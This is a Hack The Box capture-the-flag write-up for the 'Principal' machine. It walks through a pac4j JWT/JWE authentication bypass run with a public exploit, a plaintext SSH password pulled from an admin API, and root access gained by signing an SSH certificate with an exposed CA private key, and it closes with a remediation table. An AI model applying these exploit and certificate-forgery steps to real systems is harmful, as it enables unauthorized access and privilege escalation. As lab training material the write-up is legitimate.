HTB Principal: JWT Authentication Bypass to SSH CA Key Forgery
Introduction
Principal is a Medium Linux machine that chains a JWT authentication bypass (CVE-2026-29000) with an SSH CA private key exposure. The attack path: fingerprint the pac4j-jwt library, forge an admin JWE token, enumerate an API to obtain SSH credentials, and finally use a stolen Certificate Authority key to sign a certificate for root.
Attack Overview
Nmap → pac4j-jwt/6.0.3 header
↓
CVE-2026-29000 JWKS JWE bypass → ROLE_ADMIN token
↓
/api/settings → D3pl0y_$$H_Now42!
↓
SSH as svc-deploy (deployers group)
↓
Read /opt/principal/ssh/ca (CA private key)
↓
Forge SSH cert -n root
↓
SSH as root
Reconnaissance
Nmap scan:
sudo nmap -sS -sV -sC 10.129.40.23 -oA Scan_Principal
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14
8080/tcp open http-proxy Jetty
| http-title: Principal Internal Platform - Login
| X-Powered-By: pac4j-jwt/6.0.3
Port 8080 hosts a Jetty-based Java application. The X-Powered-By header reveals pac4j-jwt/6.0.3, a JWT library known to be vulnerable to CVE-2026-29000.
Web Enumeration
Directory fuzzing reveals:
/login [200]
/dashboard [200] → requires authentication
/error [500]
The attack surface is the authentication mechanism itself.
Initial Foothold – CVE-2026-29000 (pac4j JWT Authentication Bypass)
Vulnerability Overview
CVE-2026-29000 affects pac4j versions that expose the /api/auth/jwks endpoint containing the server’s public key. The library accepts JWE (JSON Web Encryption) tokens where the inner payload is a plain JWT with algorithm none. By encrypting a forged plain JWT using the server’s own public key, an attacker can impersonate any user and role.
Exploitation
Using a public PoC (alihussainzada/CVE-2026-29000-Python-PoC):
python3 exploit.py \
--jwks http://10.129.40.23:8080/api/auth/jwks \
--user admin \
--role ROLE_ADMIN
Output:
[*] Fetching JWKS...
[+] Public key loaded
[+] PlainJWT created
=== Malicious JWE Token ===
eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6...
Use the token as a Bearer authorization header. The token wraps a {"sub":"admin","roles":["ROLE_ADMIN"]} plain JWT inside a JWE encrypted with the server’s RSA public key.
API Enumeration as Admin
With the admin token, enumerate users:
curl -s -H "Authorization: Bearer <TOKEN>" \
http://10.129.40.23:8080/api/users | jq
Notable accounts: admin (Sarah Chen), svc-deploy (service account for deployments).
Enumerate settings:
curl -s -H "Authorization: Bearer <TOKEN>" \
http://10.129.40.23:8080/api/settings | jq
Critical finding:
"deployKey": "D3pl0y_$$H_Now42!"
Plaintext SSH password for svc-deploy.
User Flag
ssh svc-deploy@10.129.244.220
# Password: D3pl0y_$$H_Now42!
svc-deploy@principal:~$ cat user.txt
[redacted]
Privilege Escalation – SSH CA Key Forgery
Enumeration
svc-deploy is a member of the deployers group:
id
# uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)
LinPEAS reveals readable files owned by root and group deployers:
-rw-r----- 1 root deployers 168 /etc/ssh/sshd_config.d/60-principal.conf
-rw-r----- 1 root deployers 288 /opt/principal/ssh/README.txt
-rw-r----- 1 root deployers 3381 /opt/principal/ssh/ca
The SSH CA private key is readable by the deployers group. The SSH server configuration confirms trust:
cat /etc/ssh/sshd_config.d/60-principal.conf
# TrustedUserCAKeys /opt/principal/ssh/ca.pub
Forging a Root Certificate
Generate a new keypair:
ssh-keygen -t rsa -b 4096 -f /tmp/id_rsa -N ""
Sign the public key using the stolen CA private key, targeting root as the principal:
ssh-keygen -s /opt/principal/ssh/ca \
-I "ctf_cert" \
-n root \
/tmp/id_rsa.pub
Output: Signed user key /tmp/id_rsa-cert.pub: id "ctf_cert" serial 0 for root valid forever
Connect as root:
ssh -i /tmp/id_rsa root@localhost
Root flag:
[redacted]
Unintended Path – CVE-2026-41651 (PackageKit)
LinPEAS also flags PackageKit version 1.2.8 as vulnerable to CVE-2026-41651 (Pack2TheRoot). This TOCTOU race condition allows a local user to install a malicious .deb and obtain a SUID shell. This path works but is less instructive.
Key Takeaways
| Vulnerability | Root Cause | Remediation |
|---|---|---|
| CVE-2026-29000 (JWT bypass) | Library accepts unsigned inner JWT inside JWE; JWKS endpoint exposed | Never expose JWKS endpoint if library trusts unsigned tokens; validate inner JWT signature |
| Plaintext credentials in API response | deployKey returned by /api/settings endpoint | Store secrets in a vault (HashiCorp Vault, AWS Secrets Manager); never return them via API |
| SSH CA private key readable by service account | deployers group has read access to /opt/principal/ssh/ca | Restrict CA private key to root-only access; ideally store offline or in HSM |
| SSH CA trust model misconfiguration | TrustedUserCAKeys points to a CA whose private key is exposed | Audit file permissions; CA private key should never reside on production hosts |
Resources
- Nmap — Port scanning and service detection
- ffuf — Directory fuzzing
- CVE-2026-29000 PoC — JWT authentication bypass
- LinPEAS — Local privilege escalation enumeration
- CVE-2026-41651 PoC — PackageKit Pack2TheRoot (unintended path)